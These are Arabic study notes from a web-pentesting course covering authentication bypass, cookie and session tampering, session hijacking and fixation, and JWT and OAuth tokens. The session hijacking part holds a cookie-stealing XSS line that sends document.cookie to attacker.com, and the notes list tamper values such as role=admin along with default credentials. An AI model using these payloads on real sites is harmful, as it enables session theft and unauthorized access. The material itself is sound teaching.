    👉 كل ده مع بعض هو الـ schema (المنظومة)

    ---

    # 💥 يعني إيه Bypassing Authentication Schema؟

    ده أخطر جزء 👇

    بدل ما:

    - تحزر الباسورد ❌
    - أو تعمل brute force ❌

    أنت:

    > ❗ **تعدّي السيستم من غير ما تستخدم credentials أصلاً**

    يعني:

    - لا password
    - ولا login
    - ولا verification

    👉 تدخل كأنك authenticated

    ---

    # 🧩 الفرق بين الطرق

    خلّي بالك من الفرق ده 👇

    |النوع|بتستخدم credentials؟|مثال|
    |---|---|---|
    |Brute force|✅|تخمين باسورد|
    |Lockout bypass|✅ جزئيًا|تتخطى الحماية|
    |Authentication bypass|❌|تدخل من غير باسورد|

    ---

    # 🎯 هدف الاختبار ده (حسب OWASP)

    في الـ OWASP WSTG test:

    ### الهدف:

    - تكتشف:
        - هل ينفع تدخل بدون login؟
        - هل في logic غلط؟
        - هل في endpoints مفتوحة؟

    ---

    # ⚠️ أهم أنواع المشاكل (نظريًا)

    ## 1. Unprotected Endpoints

    يعني:

    - فيه route زي:

    GET /admin

    ومفيش authentication عليه 😅

    👉 تدخل Admin مباشرة

    ---

    ## 2. Default Credentials

    زي:

    admin:admin  
    root:root

    👉 موجودة في:

    - config files
    - APIs
    - systems قديمة

    ---

    ## 3. Weak Access Control

    يعني:

    - user عادي يقدر يشوف:
        - /admin
        - /dashboard

    👉 ده اسمه:  
    **Privilege Escalation**

    ---

    ## 🔥 4. Parameter Manipulation (نقطة الفيديو الأساسية)

    دي أهم نقطة 👇

    ---

    # 🧠 يعني إيه Parameter Manipulation؟

    يعني:

    > ❗ تغيير قيم في الـ request علشان تخدع السيستم

    الـ parameters ممكن تكون:

    - URL
    - POST data
    - Cookies
    - Headers

    ---

    # 💣 الفكرة الأساسية

    السيستم ساعات بيعمل حاجة غبية:

    if (logged_in == "yes") {  
       give_access();  
    }

    ❗ المشكلة؟

    - هو واثق في الـ parameter اللي جاي من المستخدم!

    ---

    # 🧪 مثال بسيط

    Request طبيعي:

    GET /admin  
    Cookie: logged_in=no

    👉 مرفوض ❌

    لكن لو غيرتها:

    GET /admin  
    Cookie: logged_in=yes

    👉 Boom 💥 دخلت Admin

    ---

    # 😳 ليه ده بيحصل؟

    بسبب:

    ## ❌ Missing Server-side Validation

    السيستم:

    - مش بيتأكد من session حقيقي
    - بيعتمد على input من user

    ---

    # ⚠️ دي تعتبر إيه؟

    دي واحدة من أخطر الحاجات:

    👉 **Broken Authentication**

    ---

    # 🧠 ليه اسمها “Schema Bypass”؟

    لأنك:

    - مش بتكسر password
    - ولا session

    ❗ أنت بتعدّي **المنظومة كلها**

    ---

    # 🧪 أنواع Parameter Manipulation

    ## 1. Cookies

    زي المثال:

    logged_in=yes  
    isAdmin=true

    ---

    ## 2. URL parameters

    ?role=admin  
    ?auth=true

    ---

    ## 3. POST data

    username=admin  
    role=admin

    ---

    ## 4. Headers

    X-User-Role: admin

    ---

    # 🧠 نقطة ذكية جدًا في الفيديو

    المحاضر قال:

    > ممكن السيستم يقوي login page جدًا  
    > بس يسيب API مفتوح 😏

    ---

    ## 💥 مثال حقيقي

    - Login قوي (CAPTCHA + MFA)
    - لكن:

    GET /api/admin/users

    👉 بدون auth

    ---

    # 🧠 الفكرة الذهبية

    في pentest:

    > ❗ متبصش على login بس… بص على كل الطرق

    ---

    # 🧪 خطوات التفكير (Pentester Mindset)

    1. شوف login طبيعي
    2. اعمل intercept
    3. راقب:
        - cookies
        - parameters
    4. جرّب:
        - تغيير values
        - إضافة parameters
        - حذف parameters

    ---

    # 🔥 خلاصة المحاضرة

    - Authentication schema = نظام التحقق
    - Bypass = تعدّي النظام كله
    - Parameter manipulation = تغيير request values
    - السبب:
        - Trust في user input ❌
    - النتيجة:
        - login بدون credentials 💀
# سيناريو اللاب باختصار

عندك Web App (airline booking system)

وفيه:

- صفحة عادية
- و **Admin panel**

المفروض:

> ❌ متدخلهاش إلا لو عامل login

لكن اللي حصل:

> ✅ دخلنا Admin من غير login

---

# 🧠 الفكرة الأساسية في اللاب

السيستم كان بيعتمد على Cookie اسمها:

logged_in = yes

👉 لو موجودة → يعتبرك Admin  
👉 لو مش موجودة → يرفضك

❗ ودي مصيبة… لأنه واثق في حاجة جاية من المستخدم!

---

# ⚙️ الأدوات المستخدمة

- Browser
- Burp Suite

---

# 🚶‍♂️ خطوات اللاب بالتفصيل

---

## 1️⃣ فتح الـ Admin Page

دخل على:

/admin

📌 النتيجة:

- "You are not logged in" ❌

---

## 2️⃣ تشغيل Intercept

في Burp:

- Proxy → Intercept ON

---

## 3️⃣ إعادة تحميل الصفحة

عمل refresh للـ /admin

📌 Burp مسك Request زي ده:

GET /admin HTTP/1.1  
Host: target.com  
User-Agent: Mozilla...  
Accept: text/html

---

## 4️⃣ هنا بقى الشغل الحقيقي 🔥

بدل ما تبعت request عادي  
بتبدأ “تلعب” فيه

### تضيف Cookie مزيفة:

Cookie: logged_in=yes

---

## 5️⃣ إرسال الـ Request

عمل:

- Forward في Burp

---

## 💥 النتيجة:

👉 دخل Admin panel مباشرة 😳

---

# 🧠 ليه حصل كده؟

السيستم كان بيعمل حاجة زي كده:

if(cookie.logged_in == "yes") {  
    grant_admin_access();  
}

❗ بدون:

- session validation
- token check
- authentication logic

---

# 🔁 نقطة مهمة جدًا حصلت في اللاب

المحاضر قال:

> مش أول request هو اللي اشتغل… التاني

ليه؟ 🤔

---

## 📌 السبب:

بعض التطبيقات:

- بتطلب request أولاني (redirect)
- وبعدين request تاني هو اللي فيه validation

👉 فلازم:

- تحط الكوكي في **الـ request الصح**

---

# 🧪 حل عملي في اللاب

## بدل ما تضيف cookie كل مرة:

استخدم:

- Cookie Editor extension

وضيف:

logged_in = yes

👉 كده:

- كل requests تبقى authenticated تلقائي

---

# 🔥 النتيجة النهائية

- دخلت Admin
- تقدر:
    - تضيف Flights
    - تعدل النظام
    - تتحكم بالكامل

---

# ⚠️ نوع الثغرة دي

دي تعتبر:

👉 Broken Authentication  
👉 Parameter Manipulation  
👉 Authentication Bypass

---

# 🧠 أهم الدروس من اللاب

## 1. متثقش في الـ client input

أي حاجة جاية من:

- cookie
- header
- parameter

❗ ممكن تتزوّر

---

## 2. دايمًا جرّب تعديل الطلبات

حتى لو مفيش login:

- أضف parameters
- غيّر cookies
- احذف values

---

## 3. تابع كل request مش واحد بس

- الأول ممكن fail
- التاني ينجح

---

# 💡 Hackers Mindset 🧠

وأنت بتعمل pentest:

> “إيه الحاجة اللي السيستم واثق فيها زيادة؟”

👉 غالبًا هي دي نقطة الدخول

---

# 🔥 خلاصة اللاب في سطر واحد

> بدل ما تثبت إنك Admin… خلت السيستم يصدق إنك Admin 😏

Cookies :

[^10]

[^10]: # أولًا: يعني إيه Cookies؟

ببساطة:

> **Cookie = ملف صغير بيتخزن في المتصفح علشان الموقع “يفتكرك”**

📌 بيخزن:

- Session ID
- login state
- preferences (dark mode / language)
- shopping cart

---

# 🔥 ليه Cookies مهمة جدًا؟

لأنها:  
👉 هي اللي شايلة **Session ID**

يعني:

- من غير Cookie → مفيش Session
- من غير Session → لازم تعمل login كل request 😅

---

# 🧠 Cookies بتشتغل إزاي؟

## السيناريو:

### 1) تعمل Login

POST /login  
username=admin&password=123

---

### 2) السيرفر يرد:

Set-Cookie: sessionid=abc123

👉 كده الكوكي اتخزنت عندك

---

### 3) أي request بعد كده:

GET /dashboard  
Cookie: sessionid=abc123

👉 السيرفر يقول:

- آه ده نفس الشخص → دخّله

---

# ⚙️ Cookie Parameters (أهم جزء 🔥)

دي إعدادات بتحدد:

> الكوكي تتستخدم إزاي + قد إيه آمنة

---

## 🛡️ 1) HttpOnly

### وظيفته:

- يمنع JavaScript من الوصول للكوكي

### ليه مهم؟

يحمي من:

> ❌ XSS

---

### 🔴 بدون HttpOnly:

document.cookie

→ يسرق session 😈

---

### 🟢 مع HttpOnly:

- JS مش هيشوف الكوكي

---

## 🔐 2) Secure

### وظيفته:

- الكوكي تتبعت **بس على HTTPS**

---

### ليه مهم؟

يحمي من:

> ❌ Man-in-the-Middle (MITM)

---

### 🔴 بدون Secure:

- الكوكي ممكن تتبعت على HTTP
- أي حد sniffing يسرقها

---

### 🟢 مع Secure:

- الكوكي encrypted

---

## 🌍 3) SameSite (مهم جدًا جدًا)

### وظيفته:

- يمنع إرسال الكوكي في cross-site requests

👉 يحمي من:

> ❌ CSRF

---

## أنواعه:

### 🟥 Strict

- الكوكي تتبعت **بس داخل نفس الموقع**

🔒 أقوى حماية  
❌ بس ممكن يكسر functionality

---

### 🟨 Lax

- وسط:
    - يسمح ببعض requests (GET)

👉 الأكثر استخدامًا

---

### 🟩 None

- الكوكي تتبعت في أي request

❗ لازم يكون:

Secure

---

# ⏳ 4) Expiration / Max-Age

### وظيفته:

- يحدد عمر الكوكي

---

## نوعين:

### 🟢 Session Cookie

- تمسح لما تقفل المتصفح

---

### 🔵 Persistent Cookie

- بتفضل شغالة وقت معين

---

### ليه مهم؟

👉 لو طويلة جدًا:

- session ممكن تتسرق وتفضل شغالة 😬

---

# 🧾 مثال حقيقي (مهم جدًا)

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

### نفهمها:

|الجزء|معناه|
|---|---|
|sessionid=abc123|ده الـ session|
|HttpOnly|JS مش يشوفه|
|Secure|HTTPS فقط|
|SameSite=Lax|حماية CSRF|
|Path=/|متاح لكل الموقع|

---

# 💀 كـ Pentester تدور على إيه؟

دي أهم نقطة 👇🔥

---

## 🚨 1) Cookie بدون HttpOnly

👉 خطر:

- XSS → سرقة session

---

## 🚨 2) Cookie بدون Secure

👉 خطر:

- MITM → sniffing

---

## 🚨 3) SameSite = None

👉 خطر:

- CSRF attack

---

## 🚨 4) Expiration طويل جدًا

👉 خطر:

- session reuse

---

## 🚨 5) Cookie فيها sensitive data

مثلاً:

role=admin

👉 تقدر تعدلها 😈

---

# 🔥 مثال Attack (مهم تفهمه)

لو لقيت:

Set-Cookie: role=user

جرب:

role=admin

👉 ممكن تعمل privilege escalation

---

# 🧪 عمليًا في Burp تعمل إيه؟

1. Proxy ON
2. Login
3. شوف:
    - Set-Cookie في response
4. بعدها:
    - Intercept request
    - عدل Cookie

---

# 🧠 خلاصة تحفظها

- Cookie = storage عند client
- Session ID = جوه الكوكي
- Flags = اللي بتحمي الكوكي

---

# 🔥 أهم 3 حاجات في الشغل

ركز عليهم جدًا:

- HttpOnly ❗
- Secure ❗
- SameSite ❗

Session Testing LABS: - lab 1 [^11]

[^11]: # أول حاجة: المحاضرة بتتكلم عن إيه؟

الموضوع الأساسي:

👉 **Testing Session Management Schema**  
يعني: اختبار أمان نظام الـ Sessions في الموقع

والتكنيك الأساسي هنا:

👉 **Cookie Tampering (التلاعب بالكوكيز)**

---

# 🧠 يعني إيه Session Management أصلاً؟

لما تعمل Login:

- السيرفر بيديك **Session ID**
- بيتخزن غالبًا في **Cookie**
- كل Request بعد كده بيبقى فيه الكوكي ده

📌 يعني الكوكي = "أنا المستخدم ده"

---

# 🎯 هدف الاختبار (من OWASP WSTG)

المحاضرة مبنية على:

👉 **OWASP Web Security Testing Guide**

الهدف:

- تتأكد إن الـ session:
    - مش ممكن يتسرق ❌
    - مش ممكن يتوقع ❌
    - مش ممكن يتعدل ❌

---

# ⚔️ Attack Flow (طريقة الهجوم)

المحاضر قال 3 مراحل مهمين جدًا:

## 1. 🧪 جمع الكوكيز (Collection)

- تجمع session cookies من:
    - نفس المستخدم
    - مستخدمين مختلفين

🎯 الهدف:  
تشوف هل في pattern ولا عشوائية

---

## 2. 🧠 Reverse Engineering

يعني:  
تفهم الكوكي معمول إزاي

تسأل نفسك:

- هل فيه:
    - username؟
    - role؟
    - user id؟
- هل:
    - مشفر؟ (Encryption) ✅
    - ولا مجرد Encoding زي base64 ❌

---

## 3. 🧨 Manipulation (Tampering)

تبدأ تلعب في القيم:

مثلاً:

role=guest → role=admin  
admin=false → admin=true

لو السيرفر صدقك → 💀 Vulnerability

---

# 🚨 أهم المشاكل (Vulnerabilities)

## 1. Predictable Session ID

لو مش random:

👉 تقدر تخمن session بتاع حد تاني

---

## 2. Session Fixation

- المهاجم يحدد session ID
- الضحية يعمل login بنفس الـ session
- المهاجم يدخل مكانه

---

## 3. Session Hijacking

- تسرق الكوكي
- تستخدمه

👉 كأنك المستخدم

---

## 4. Authorization Bypass

لو role موجود في الكوكي:

👉 تغيره → تبقى Admin

---

## 5. Session Expiration مشكلة

لو السيشن:

- مبيخلصش ❌
- أو طويل جدًا ❌

👉 attacker يستخدمه بعدك

---

## 6. Missing Cookie Flags

زي:

- HttpOnly
- Secure
- SameSite

❌ لو مش موجودين:

- XSS
- CSRF
- MITM

---

## 7. Session في URL ❌

زي:

site.com?session=123

💀 خطر جدًا:

- بيتسجل في logs
- بيتخزن في history

---

# 🔍 الجزء العملي (أهم جزء 💣)

## 🎯 السيناريو

موقع:

- Secure Bank
- login عادي

## الأدوات:

- Burp Suite
- Firefox + FoxyProxy

---

# 🧪 الخطوات بالتفصيل

## 1. تشوف الترافيك

- تفتح Burp
- تعمل proxy

---

## 2. تعمل Login

email: james@secbank.com  
password: password1

---

## 3. تلاحظ حاجة مهمة جدًا

في Response:

Set-Cookie: session=XXXXX

🔥 ده هدفك

---

## 4. تحليل الكوكي

لاحظ:

== في الآخر

📌 ده معناه غالبًا:  
👉 Base64

---

## 5. تعمل Decode

في Burp → Decoder

تلاقي:

logged_in=true  
admin=false

💀💀💀

---

# 🚨 هنا الكارثة

السيرفر:

❌ مش مشفر  
❌ معتمد على client

👉 يعني أنت تقدر تتحكم

---

## 6. التلاعب

تغير:

admin=false → admin=true

---

## 7. Encode تاني Base64

---

## 8. ترجع Burp → Intercept

وتغير:

Cookie: session=NEW_VALUE

---

## 9. تبعت الريكوست

🎉 بقى عندك Admin

---

# 💥 ليه ده حصل؟

لأن السيرفر:

❌ وثق في الكوكي  
❌ معملش validation server-side

---

# 🧠 أهم الدروس من اللاب

## 1. Encoding ≠ Encryption

- Base64 = شكله متغير بس
- سهل جدًا تفكه

---

## 2. Never trust client

أي حاجة جاية من المتصفح:  
👉 تعتبر attacker controlled

---

## 3. لازم server يتحكم في:

- role
- auth
- session

---

## 4. Cookies لازم تكون:

- مشفرة أو signed
- فيها flags:
    - HttpOnly
    - Secure
    - SameSite

---

# 🔥 خلاصة المحاضرة

المحاضرة دي بتقولك:

👉 الكوكي ممكن يكون أخطر نقطة في الموقع

ولو:

- مش مشفر
- فيه معلومات حساسة
- السيرفر واثق فيه

💀 يبقى الموقع "يتكسر بسهولة"

---

# 🧠 ربط بالـ Bug Bounty

الحاجة دي اسمها:

👉 **Client-side trust issue**  
👉 **Insecure session management**  
👉 **Privilege escalation via cookie tampering**

🔥 دي vulnerabilities real ومطلوبة جدًا

Session Hijacking : [^12]

[^12]: # أولًا: الفكرة الأساسية (افهمها كده ببساطة)

## 🎯 Session Hijacking يعني إيه؟

👉 ببساطة:

**أنا بسرق الـ session بتاعك… وببقى أنت 😈**

يعني:

- أنت عملت login
- السيرفر اداك session ID
- أنا سرقته
- استخدمته

💀 كده أنا دخلت حسابك بدون username/password

---

# ⚔️ الفرق بين Hijacking و Fixation (مهم جدًا)

|النوع|بيحصل إمتى|الفكرة|
|---|---|---|
|**Session Hijacking**|بعد الـ login|بسرق session جاهز|
|**Session Fixation**|قبل الـ login|بفرض عليك session|

📌 دي أهم نقطة في المحاضرة كلها

---

# 💣 Session Hijacking بالتفصيل

## 🧩 السيناريو الطبيعي

### 1. User يعمل Login

- السيرفر ينشئ:

session_id = ABC123

---

### 2. السيرفر يبعت الكوكي

Set-Cookie: session=ABC123

---

### 3. كل Request بعد كده:

Cookie: session=ABC123

---

# 😈 الهجوم بيحصل هنا

أنا كمهاجم:

👉 أحاول أوصل للـ session ده

---

# 🧨 طرق سرقة الـ Session

المحاضرة قالت أهم الطرق 👇

---

## 1. 🕵️‍♂️ Sniffing (التجسس على الشبكة)

لو الموقع مش HTTPS:

👉 أقدر أشوف الترافيك

وألاقي:

Cookie: session=ABC123

💀 سهل جدًا

---

## 2. 🎭 Man-In-The-Middle (MITM)

- أقعد بينك وبين السيرفر
- أراقب كل حاجة

👉 أسرق session

---

## 3. 💉 XSS (أخطر حاجة 🔥)

أحقن كود زي:

document.cookie

أو:

fetch("http://attacker.com?cookie=" + document.cookie)

📌 النتيجة:

- الكوكي يتبعتلي

💀 وأنا أخده وأستخدمه

---

## 4. 🎲 Predictable Session IDs

لو السيستم بيولد session كده:

1001, 1002, 1003...

👉 أقدر أتوقع session بتاع حد تاني

---

## 5. 📂 Logs / URL Leak

لو session في URL:

site.com?session=ABC123

💀 ممكن يتسرب من:

- logs
- history
- referrer

---

# 🔓 بعد ما أسرق السيشن

## 🧨 Session Takeover

أستخدمه في request:

Cookie: session=ABC123

👉 السيرفر يقول:  
"أه ده المستخدم 👌"

---

# 💀 النتيجة (Exploitation)

أقدر:

- أشوف بياناته
- أغير الباسورد
- أعمل تحويل فلوس 💰
- أعدل settings

---

# 🚨 ليه الهجوم ده خطير؟

لأن السيرفر:

👉 بيعتمد على session بس

مش بيسأل:

- أنت مين؟
- IP إيه؟
- جهازك إيه؟

---

# 🧠 نقطة مهمة جدًا

السيرفر:

> "معاك session؟ خلاص أنت user"

💀💀💀

---

# 🧪 مثال عملي (تخيله كده)

1. User يدخل البنك
2. ياخد session:

session=XYZ999

3. أنت تسرقه بـ XSS
4. تستخدمه:

👉 تدخل حسابه مباشرة

---

# 🔐 طب الحماية إزاي؟

## 1. HTTPS فقط

👉 يمنع sniffing

---

## 2. HttpOnly Cookie

👉 يمنع JavaScript من قراءة الكوكي

(يعني XSS مش هيعرف يسرقه بسهولة)

---

## 3. Secure Flag

👉 الكوكي يتبعت بس على HTTPS

---

## 4. SameSite

👉 يمنع CSRF

---

## 5. Regenerate Session ID

👉 بعد login يتغير

(ده ضد fixation)

---

## 6. Session Timeout

👉 يقفل بسرعة

---

## 7. Bind Session بـ:

- IP
- User-Agent

---

# 🔥 الفرق العملي بين Hijacking و Fixation

## 🧨 Hijacking

User login → ياخد session → أنا أسرقه

---

## 🧨 Fixation

أنا أديك session → أنت تعمل login → أنا أستخدمه

---

# 💡 ليه المحاضر شرحهم مع بعض؟

لأن:

👉 Fixation = خطوة قبل Hijacking

يعني:

- Fixation → يخلي عندك session
- Hijacking → تستخدمه

---

# 🧠 خلاصة ذهبية

## لو عايز تفتكرهم بسرعة:

- Hijacking = **سرقة**
- Fixation = **زرع**

---

# 🔥 ربط بالـ Bug Bounty

دي بتتصنف كـ:

- Broken Authentication
- Session Management Issues

وتلاقيها تحت:  
👉 OWASP Top 10 (A2 / A7 حسب النسخة)

---

# 💣 سيناريو حقيقي (مهم جدًا)

لو لقيت:

- XSS + Cookie مش HttpOnly

👉 مباشرة:  
**Session Hijacking**

---

# 🧠 أهم حاجة تطلع بيها

لو قدرت:

- توصل للـ cookie
- أو تتحكم فيه

👉 أنت كده:  
💀 دخلت حساب أي حد

Session Fixation : [^13]

[^13]: ## أولًا: الفكرة الأساسية بسرعة

**Session Fixation = أنت (المهاجم) بتحدد الـ Session ID من قبل ما اليوزر يعمل Login**

يعني:

- بدل ما تسرق session جاهزة (زي hijacking)
- أنت **بتزرع session وتخلي الضحية تستخدمها**

---

## 🧠 السيناريو خطوة بخطوة (زي الفيديو بالظبط)

### 1️⃣ المهاجم ينشئ Session ID

- يفتح الموقع عادي
- السيرفر يديه Session ID (مثلاً: `ABC123`)

💡 هنا النقطة المهمة:

> المهاجم **عارف session دي كويس جدًا** لأنها بتاعته

---

### 2️⃣ المهاجم يبعت Session ID للضحية

بأي طريقة يخلي الضحية تستخدم نفس الـ session:

#### الطرق:

- 🔗 Link فيه session:

    example.com/login?session=ABC123

- 🍪 Cookie injection
- ⚠️ JavaScript injection
- 📩 Phishing message

💡 الفكرة:

> الضحية تفتح الموقع **وهي أصلاً شغالة بنفس الـ session بتاعة المهاجم**

---

### 3️⃣ الضحية تعمل Login 😈

- الضحية تكتب username + password
- السيرفر يعمل authenticate

❗ هنا الخطأ الخطير:

> السيرفر **ما بيغيرش الـ session ID بعد login**

يعني:

قبل login: session = ABC123  
بعد login: session = ABC123 (نفسها ❌)

---

### 4️⃣ المهاجم يدخل بنفس الـ Session

بما إن:

- session = ABC123
- والمهاجم عارفها

👉 يقدر يدخل ويلاقي نفسه:

> Logged in كأنه الضحية بالظبط 😳

---

## ⚡ مثال بسيط جدًا يخليك تفهمها بسرعة

تخيل:

- أنت عامل مفتاح (session)
- بدل ما تسرق مفتاح حد
- **أنت بتدي له مفتاحك وتخليه يستخدمه**

أول ما يدخل بيه:

> المفتاح ده بقى مفتاح بيته 🤯

وأنت معاك نسخة منه 😏

---

## 🔥 الفرق القاتل بين Hijacking و Fixation

|النقطة|Session Hijacking|Session Fixation|
|---|---|---|
|التوقيت|بعد login|قبل login|
|الطريقة|سرقة session|زرع session|
|السيطرة|تاخد session جاهزة|تتحكم في session من الأول|
|الصعوبة|أصعب|أحيانًا أسهل|

---

## 🚨 ليه الهجوم ده بيشتغل أصلاً؟

الفيديو قالك الأسباب المهمة جدًا 👇

### 1. ❌ السيرفر مش بيغير session بعد login

دي أكبر كارثة

✔ المفروض:

login → generate new session ID

---

### 2. ❌ Session ID ينفع تتحط في URL

زي:

?session=ABC123

دي كارثة لأن:

- بتتسجل في logs
- بتتسرّب
- سهلة التلاعب

---

### 3. ❌ Session IDs ضعيفة أو predictable

زي:

user1 → session=1001  
user2 → session=1002

المهاجم: 😏

---

### 4. ❌ مفيش expiration

session شغالة forever

💀 يعني:

> أي حد يعرفها = يفضل داخل للأبد

---

### 5. ❌ Cookies مش secure

لو مفيش:

- HttpOnly
- Secure
- SameSite

👉 تبقى سهلة السرقة أو التلاعب

---

## 🎯 الخلاصة (أهم 3 سطور تحفظهم)

- Session Fixation = المهاجم **بيحدد session قبل login**
- الضحية تستخدمها → تعمل login
- السيرفر ما يغيرهاش → المهاجم يدخل بسهولة

---

## 💡 ليه بيشرحوا Fixation عملي أكتر من Hijacking؟

الفيديو لمح لنقطة مهمة 👇

👉 Session Hijacking:

- محتاج تسرق session (صعب شوية)

👉 Session Fixation:

- أسهل في الـ labs
- تقدر تعمله بنفسك بسهولة

Token Based-Authentication : [^14]

[^14]: # أولاً: Bearer Token (أبسط وأخطر نوع)

## 📌 الفكرة الأساسية

كلمة **Bearer** معناها:

> "الشخص الذي يحمل التوكن يمتلك الصلاحية"

يعني السيرفر لا يسأل:

- مين المستخدم؟
- هل هو فعلاً صاحب التوكن؟

السيرفر يقول:

> معاك التوكن؟ خلاص ادخل.

ده حرفياً زي:

- كارت دخول شركة
- أو مفتاح باب

لو حد سرقه → يفتح الباب.

---

## 🔄 كيف يتم استخدامه؟

### Step 1: Login

المستخدم يعمل login بالباسورد.

```
POST /login{  "username": "mohamed",  "password": "123456"}
```

### Step 2: السيرفر يرد بتوكن

```
{  "access_token": "ABCD1234XYZ"}
```

### Step 3: كل request بعد كده يحمل التوكن

```
GET /api/profileAuthorization: Bearer ABCD1234XYZ
```

السيرفر يعمل:

- lookup للتوكن في database
- يتأكد إنه صالح
- يعطي access

---

## ⚙️ من الداخل كيف يعمل؟

Bearer token غالباً يكون:

- random string
- مخزن في database
- مربوط بمستخدم

Example DB:

|token|user_id|expires|
|---|---|---|
|ABC123|42|2026|

السيرفر يعمل query كل request.

👉 ده معناه:  
Bearer token = **stateful**  
لأن السيرفر مخزن التوكن.

وده الفرق الكبير مع JWT (لسه جايينله).

---

## ⏳ Expiration

ليه لازم يكون short-lived؟

لو حد سرقه:

- وقت الاستغلال يكون محدود

مثلاً:

- 15 دقيقة
- 1 ساعة

---

## 🚨 أهم المخاطر

### 1) Token leakage

لو التوكن ظهر في:

- logs
- URL
- referer
- local storage

= account takeover.

---

### 2) No rotation

لو التوكن عمره طويل → كارثة.

---

### 3) MITM

لو بدون HTTPS → أي حد يسرقه.

---

## 🎯 امتى يستخدم؟

- APIs بسيطة
- Internal services
- Microservices

---

# 🥈 ثانياً: JWT (الوحش الحقيقي 👑)

ده أهم جزء في الكورس كله.

JWT مختلف جذرياً عن Bearer.

## 🤯 أهم فكرة

JWT = السيرفر لا يخزن أي شيء.

التوكن نفسه يحتوي كل المعلومات.

ده اسمه:  
**Self-contained token**

---

## 🧩 تركيب JWT

يتكون من 3 أجزاء مفصولين بنقطة:

```
HEADER.PAYLOAD.SIGNATURE
```

خلينا نفككه.

---

## 1️⃣ Header

يحدد:

- نوع التوكن
- خوارزمية التوقيع

Example:

```
{  "alg": "HS256",  "typ": "JWT"}
```

يتحول إلى Base64.

---

## 2️⃣ Payload (الـ Claims)

ده أهم جزء 👀  
يحتوي بيانات المستخدم.

Example:

```
{  "user": "mohamed",  "admin": false,  "exp": 1716239022}
```

أنواع الـ Claims:

### Registered claims (قياسية)

|Claim|المعنى|
|---|---|
|iss|issuer|
|sub|subject (user id)|
|exp|expiration|
|iat|issued at|
|aud|audience|

---

## ❗ أهم نقطة

Payload **ليس مشفر**  
هو فقط Base64.

أي حد يقدر يقرأه.

JWT = **Signed not encrypted**

---

## 3️⃣ Signature 🔐

السيرفر يعمل:

```
HMACSHA256(  base64(header) + "." + base64(payload),  SECRET_KEY)
```

الـ secret key موجود عند السيرفر فقط.

لما request يوصل:  
السيرفر يعيد حساب التوقيع.

لو مطابق → التوكن صحيح.

---

## 🤯 ليه JWT قوي؟

السيرفر لا يحتاج:

- database
- session store

مجرد يتحقق من التوقيع.

ده يخلي:

- scalable جداً
- سريع جداً

---

## 🚨 أخطر فكرة في JWT

السيرفر يثق في **كل ما داخل payload**  
طالما signature صحيح.

لو قدرت تغيّر payload وتوقّعه → أنت Admin 😈

وهنا تبدأ هجمات JWT.

---

## أشهر استخداماته

- SPA (React / Angular)
- Mobile apps
- Microservices
- API Gateway

---

# 🥉 ثالثاً: OAuth Tokens

ده نظام مختلف شوية.

هدفه:

> السماح لتطبيق بالوصول لحسابك في خدمة أخرى بدون معرفة الباسورد.

مثال:  
Login with Google.

---

## 🎭 أطراف OAuth

|الطرف|الوصف|
|---|---|
|Resource Owner|المستخدم|
|Client|التطبيق|
|Authorization Server|Google|
|Resource Server|API|

---

## 🔄 Flow مبسط

1️⃣ المستخدم يضغط Login with Google  
2️⃣ يتم تحويله إلى Google  
3️⃣ يدخل بياناته  
4️⃣ Google يعطي Access Token  
5️⃣ التطبيق يستخدم التوكن للوصول لبيانات Google

---

## أنواع OAuth Tokens

### Access Token

يستخدم للوصول للـ API.

قصير العمر:

- دقائق
- ساعات

---

### Refresh Token

يستخدم لإصدار Access Token جديد.

طويل العمر:

- أيام
- شهور

ده أخطر توكن في OAuth.

---

# 💥 مقارنة شاملة

|خاصية|Bearer|JWT|OAuth|
|---|---|---|---|
|Server state|Yes|No|Hybrid|
|يحتوي بيانات المستخدم|No|Yes|أحياناً|
|يحتاج DB|Yes|No|Yes|
|Scalability|Medium|High|High|
|الأكثر استخداماً|APIs بسيطة|Modern apps|Social login|

---

# 🧠 عقلية البنتستر تجاه التوكنز

ابدأ دائماً بالأسئلة:

1. أين التوكن مخزن؟
2. أين يتم إرساله؟
3. هل له Expiry؟
4. هل يمكن إعادة استخدامه؟
5. هل يمكن التلاعب به؟
6. هل يتم تدويره؟